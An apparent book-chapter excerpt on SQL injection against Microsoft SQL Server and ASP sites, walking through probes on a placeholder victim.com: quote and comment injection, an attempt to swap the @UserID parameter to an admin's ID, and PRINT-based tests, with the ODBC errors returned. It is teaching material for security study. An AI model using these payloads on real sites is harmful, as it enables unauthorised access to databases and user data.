| Article Index |
|---|
| Attacking Web Datastore |
| Page 2 |
| Page 3 |
| Page 4 |
| Page 5 |
| Page 6 |
| Page 7 |
| Page 8 |
| All Pages |
Attacking Web Datastore
Web sites present data. The data range from Web journals to catalogs of widgets to real-time financial information. Users see the colorful front-ends that present them with personalized shopping, but they do not see the less glamorous database servers sitting behind the scenes like a great Oz, churning away silently to manage inventory, user logins, e-mail, and other data-related functions.
The unseen database server is not untouchable. In this chapter we will show how variables—your username, for instance—can be modified to contain special instructions that affect how the database performs. These modifications, or SQL injection, drive to the heart of the application. After all, a Web merchant does not store credit card information in a file on the Web server—it’s in the database.
A SQL PRIMER
Remember the Web application architecture presented in Chapter 1? We’re focusing on the data store. So, let’s review how the Web server interacts with the database. Where a Web server only understands the HTTP protocol, database servers only understand a specific language: SQL. We can draw on many examples of why the Web server connects to the database, but we’ll use the ubiquitous user login page.
When a user logs in to the site, the Web application collects two pieces of information, the username and password. The application takes these two parameters and creates a SQL statement that will collect some type of information from the database. At this point, however, only the Web server (the login.php page, for example) has performed any actions.
Next, the Web server connects to the database. This connection might be established once and maintained for a long time, or established each time the two servers need to communicate. Either way, the Web server uses its own username and password to authenticate to the database.
The Web server is now talking to the database. So, login.php passes the user credentials (username and password) in as a SQL statement to the database. The database accepts the statement, executes it, then responds with something like “the username and password match” or “username not found.” It is up to the application, login.php, to handle the response from the database.
SQL is a powerful part of the application. There are few other ways to store, query, and manage massive amounts of data other than using a database. That is also why it is so important to understand how a SQL statement can be misused.
SQL INJECTION
The exploits available to the SQL injection technique vary from innocuous error-generating characters to full command-line execution. No particular database vendor is more secure than another against these exploits. The vulnerability is introduced in the SQL queries and their supporting programmatic interface, whether it’s ASP, PHP, Perl, or any Hacking Exposed Web Applications other Web language. Even though we focus on Microsoft SQL Server quite a bit, the techniques carry across database types and all are equally vulnerable to insecure coding practices.
SQL server is just more equal than others!
We only need to round up a single suspect responsible for the majority of SQL injection problems: the single quote (’), also known as the tick. A common SQL structure uses the tick to delimit variables within the query:
strSQL = "select userid from users where password = '" + password + "'";
Table 9-1 lists other characters and SQL formatting that we will use to test for vulnerabilities. We have to find a vulnerable application before we try to execute stored procedures or create complicated SQL structures.
A Walk in the ODBC Woods
Poor programming in a Microsoft SQL, IIS, or ASP platform is lethal to application security. The SQL injection test begins with a tick in the parameter list. The path to exploiting the vulnerability might be quick, but it usually requires a series of input validation tests to determine the internal structure of the SQL query. You’ll need to understand at least part of this structure in order to figure out how to manipulate it properly. The first part of this section reads more like an ODBC gazetteer. Bear with us, because it helps to understand the intent of the SQL injection and the reason for the error, and it provides a glimpse into the methodology for breaking down a SQL statement. We’ll describe the techniques more rigorously in a moment.

Look for ODBC errors in the HTML output, on the URL, and within comments or hidden fields. Some error-
handling routines might pretend to mask raw error output, but still track the error for the developers
to debug later.
If the tick generates a VBScript error or no error at all, move on to the next parameter.
A vulnerable SQL statement shines like a crazy diamond:
http://www.victim.com/SiteAdmin.asp?SiteID=12'
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string ',@UserID=182'.
/SiteAdmin.asp, line 7
The unclosed quotation mark indicates a vulnerable query. Plus, the error contains
“@UserID=182”, which provides us with a field name and the specific UserID we have
been assigned. Any information about the database structure helps immensely. We’ll
hold off on a full-fledged SQL attack. The “@UserID” looks like part of a parameter list,
which would mean we’re up against a stored procedure. We want to try some other techniques
to test our conclusion. Let’s see what the comment (--) generates.
http://www.victim.com/SiteAdmin.asp?SiteID=12--
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure 'getAdminHome1'
expects parameter '@UserID', which was not supplied.
/SiteAdmin.asp, line 7
At this point we know for sure that SiteAdmin.asp is vulnerable to SQL injection. The
double-dash causes SQL to process the remainder of the query as a comment. We’ve also
verified that the data are being passed to a stored procedure named getAdminHome1. It
will be tough to launch a successful attack. Stored procedures expect a predetermined
number of arguments and pigeonhole those arguments in specific parts of the query.Wecannot
merely rewrite the procedure’s parameter list. For example, if our original UserID was
182 and UserID 180 is an admin, thenwemight be tempted to rewrite the UserID parameter:
http://www.victim.com/SiteAdmin.asp?SiteID=12,@UserID=180--
...
Microsoft VBScript runtime (0x800A000D).
Type mismatch: '[string: "12,@UserID=180--"]'
/SiteAdmin.asp, line 114
As you can see, we’re out of ODBC error territory and into the realm of VBScript. Our
SQL injection has been relegated to a minor input validation error. However, we’re not
out of tricks yet. What happens if we throw a space (+) into the mix?
http://www.victim.com/SiteAdmin.asp?SiteID=11+,@UserID
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Must declare the variable '@UserID'.
Interesting. We’ve managed to generate an ODBC error once more, but the @UserID
variable has not been declared. This drives home the point of how difficult it is to break a
stored procedure. The SiteID variable is placed into the SiteID portion of the SQL statement.
No more, no less.
Of course, this might have all been a mistake. What if we hadn’t bothered to include
the SQL comment the first time around?
http://www.victim.com/SiteAdmin.asp?SiteID=12,@UserID=180
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function
getAdminHome1 has too many arguments specified.
/SiteAdmin.asp, line 7
It looks like we were right all along. We can change our UserID. Unfortunately, there
are now two UserID parameters in the function call—one more than the procedure expected.
As another point of academic interest, consider a different method of submitting
multiple parameters:
http://www.victim.com/SiteAdmin.asp?SiteID=12&SiteID=12
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Must pass parameter
number 2 and subsequent parameters as '@name = value'. After the form
'@name = value' has been used, all subsequent parameters must be passed
in the form '@name = value'.
/SiteAdmin.asp, line 7
ASP receives the SiteID argument as “SiteID=12, 12”. The stored procedure sees this as:
@name = 12, 12
But as the error indicates, procedures have a highly regimented format for acceptable
parameters. It is yet one more error. And one more technique for identifying stored
procedures.
A SQL injection test doesn’t have to target the database tables. Try executing generic
SQL commands. For example, the eponymous PRINT command prints data. To test for
a SQL injection vulnerability, we compare the errors generated by the PRINT command
and its misspelling:
http://www.victim.com/SiteAdmin.asp?SiteID=12+PRIN
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax
near 'PRIN'.
http://www.victim.com/SiteAdmin.asp?SiteID=12+PRINT
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax
near ','.
This shows another success. In both cases, we passed the PRINT command through
ASP to the database, as evidenced by the ODBC error in both cases. For the first case, the
misspelled PRINT command produced the incorrect syntax as we expected. In the second
case, the incorrect syntax is a mysterious comma—indicating that the database accepted
the PRINT statement, but was expecting something to print (or another argument for a
stored procedure). For the truly devious, we consider printing internal database variables—
the server name, for example:
http://www.victim.com/SiteAdmin.asp?SiteID=12+PRINT+@@ServerName
...
Nothing happens. We know that @@ServerName is an internal variable used by all MS
SQL servers. However, even if the PRINT statement succeeded the application does not
know to show us the results. All it expects to do is receive data from the getAdminHome1
stored procedure.
Trust, but verify. In keeping with the black box approach to SQL injection, we have to
verify that calling on @@Servername was in fact a valid variable. So, we try a variable that
surely won’t exist.
http://www.victim.com/SiteAdmin.asp?SiteID=12+PRINT+@@Abulafia
...
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Must declare the
variable '@@Abulafia'.




